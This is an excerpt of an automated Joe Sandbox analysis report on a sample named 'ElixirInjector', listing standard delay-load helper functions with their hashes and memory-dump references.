                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 694a4853e93fc15104402ccc59afcae4ae58db7cac11c4a397a9da0853364bc2
                                                                                              • Instruction ID: 426155039a0ac841972b22c27a748d3a9f8499314580ba2827fb6ff272b7f900
                                                                                              • Opcode Fuzzy Hash: 694a4853e93fc15104402ccc59afcae4ae58db7cac11c4a397a9da0853364bc2
                                                                                              • Instruction Fuzzy Hash: 5AB012E225A020BC3144D1053C02D77060CC0C1B21332D02FFC4CC1081E8408C043473
                                                                                              Function 00F2E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 8b1aa002bab7bd50e2008520b682b3aff05161180a952ce0e05be39cdacdb8bb
                                                                                              • Instruction ID: 19bda5b9476c141fa84e236ccbb4735504f1bae41ae9661133bb5a0cfe67a5f2
                                                                                              • Opcode Fuzzy Hash: 8b1aa002bab7bd50e2008520b682b3aff05161180a952ce0e05be39cdacdb8bb
                                                                                              • Instruction Fuzzy Hash: 69B012F225A020BC3144D1053C02D77060CC0C2F21333D02FFC4CC1081E8448E003473
                                                                                              Function 00F2E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E3FC
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 4ebb0f1db5122a95f0a044e7e31cd61bcc630df9f8a8f045722c5953f1a5a9a0
                                                                                              • Instruction ID: 760a65c6ece98a524a97a91df4fb82a9a0e926054943fa47782715e278ca253a
                                                                                              • Opcode Fuzzy Hash: 4ebb0f1db5122a95f0a044e7e31cd61bcc630df9f8a8f045722c5953f1a5a9a0
                                                                                              • Instruction Fuzzy Hash: B2B012E225A0307C3144D1053D02DB7060CC0C1B21332D02FF90CC1081E8404C093473
                                                                                              Function 00F2E5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 7415938e6c1bbf2c4a855532b6e51ed564f628b171f96c3dd8028cd09dfa386c
                                                                                              • Instruction ID: 8b09dbe6c57eee33e82a3bfb738f0d052a4225e05225fce03ca4f9e304558f8e
                                                                                              • Opcode Fuzzy Hash: 7415938e6c1bbf2c4a855532b6e51ed564f628b171f96c3dd8028cd09dfa386c
                                                                                              • Instruction Fuzzy Hash: 31B012C266A1207C318451547C03D37021CC1C5B10336D22FF80CC1482F8845C543473
                                                                                              Function 00F2E5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 84a34b6db307e0c9c7929812e3c1fd09b484dc06bcce620e986efd0f0fa46d29
                                                                                              • Instruction ID: 0da62288bdfab4ba2819bbbe58cce9f7d4eed4d2f2c5b1f499356446db188d80
                                                                                              • Opcode Fuzzy Hash: 84a34b6db307e0c9c7929812e3c1fd09b484dc06bcce620e986efd0f0fa46d29
                                                                                              • Instruction Fuzzy Hash: E5B012C266A0307C314451547D03D37021CC1C5B10376D23FF80CC1082FC845D153473
                                                                                              Function 00F2E593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E580
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: fa091d43ee326539d63c32693cc3fb9b4ae9963e620f1dd6a72bd68dd81cd5c1
                                                                                              • Instruction ID: f5d703f82ad933b98bd3af09956018cee42c6f97d7fc3b963c3aebf762282db5
                                                                                              • Opcode Fuzzy Hash: fa091d43ee326539d63c32693cc3fb9b4ae9963e620f1dd6a72bd68dd81cd5c1
                                                                                              • Instruction Fuzzy Hash: 19B012C266A0207D314451543C03D77034CC1C1B20332D02FF80CC1081F8844C243473
                                                                                              Function 00F2E546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: f718a51072680365faf172140869c978281c9ac175bb0294315c1486d0d1773c
                                                                                              • Instruction ID: c3e2a5d4d7af22c0907f150757e5b31f1a7d2ca4c33af3682ce2d8a9809fef72
                                                                                              • Opcode Fuzzy Hash: f718a51072680365faf172140869c978281c9ac175bb0294315c1486d0d1773c
                                                                                              • Instruction Fuzzy Hash: B7B012C23691107C324451087C03D3B050CC0C6F14331D22FF84CC4181F8405C443873
                                                                                              Function 00F2E532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: cb6c8f0a9fd40c693614a9e718fc65415c989c1da778a91c446b19168c3b6318
                                                                                              • Instruction ID: 01c85c2bb457d109c3f5f7106245315700ac6bf06202f541d51650b5fab39766
                                                                                              • Opcode Fuzzy Hash: cb6c8f0a9fd40c693614a9e718fc65415c989c1da778a91c446b19168c3b6318
                                                                                              • Instruction Fuzzy Hash: 3DB012C23690107D314451083C03E7B054CD0C2F14331D02FF84CC4181F8404C003873
                                                                                              Function 00F2E528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 3577ca437fb646cfca14dce091f061d14e169372f194deeac6e1abb825af4bd3
                                                                                              • Instruction ID: 7af470e88bffb9b8125eb101ae38fdb4bdf42e3caa3187eb169a2566ad8163de
                                                                                              • Opcode Fuzzy Hash: 3577ca437fb646cfca14dce091f061d14e169372f194deeac6e1abb825af4bd3
                                                                                              • Instruction Fuzzy Hash: ABB012C23690607C314451083D03D7B090CC0C2F14331D02FF84CC4181F8404C013873
                                                                                              Function 00F2E50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E51F
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 0baa7e719ccd0a4e7d502c74a4311a90dba6c3a0adbd3e271cd2258951c01ae0
                                                                                              • Instruction ID: 38a79aac65c796465fa51d150a5604c9fd65dffdb158dbb63b2e755a04228b23
                                                                                              • Opcode Fuzzy Hash: 0baa7e719ccd0a4e7d502c74a4311a90dba6c3a0adbd3e271cd2258951c01ae0
                                                                                              • Instruction Fuzzy Hash: 00B012C23690107C310411243C07D3B050CD0C2F14331D03FF898C4486B8404D043873
                                                                                              Function 00F2E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: bca7737c949fd72ca8ae5f61b139111d496c400af226cca8e466c6298ee8eea5
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: bca7737c949fd72ca8ae5f61b139111d496c400af226cca8e466c6298ee8eea5
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: c3923707b9dcfd88d532fef4a4c916161fb1fc17d85ef51708f9ca76f9b58f51
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: c3923707b9dcfd88d532fef4a4c916161fb1fc17d85ef51708f9ca76f9b58f51
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 6a72d8116addc81a64e7361a16fa924522bbbc2766965592d27b41c8462386e4
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 6a72d8116addc81a64e7361a16fa924522bbbc2766965592d27b41c8462386e4
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                              • String ID:
                                                                                              • API String ID: 1269201914-0
                                                                                              • Opcode ID: 4833b554b9eec04d7f3eac115d88c58040a9371157fd391b767f3b58be32edd8
                                                                                              • Instruction ID: d977b818959918b65e0713f59c0f5b4aed7a17d81d5e3e67ddc1e469cab2cc9c
                                                                                              • Opcode Fuzzy Hash: 4833b554b9eec04d7f3eac115d88c58040a9371157fd391b767f3b58be32edd8
                                                                                              • Instruction Fuzzy Hash: A4A011E22AA022BC300822823E02C3B022CC0C2B22330883EFC02C0080A880A80038B2
                                                                                              Function 00F2E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00F2E1E3
                                                                                                • Part of subcall function 00F2E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00F2E8D0
                                                                                                • Part of subcall function 00F2E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00F2E8E1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
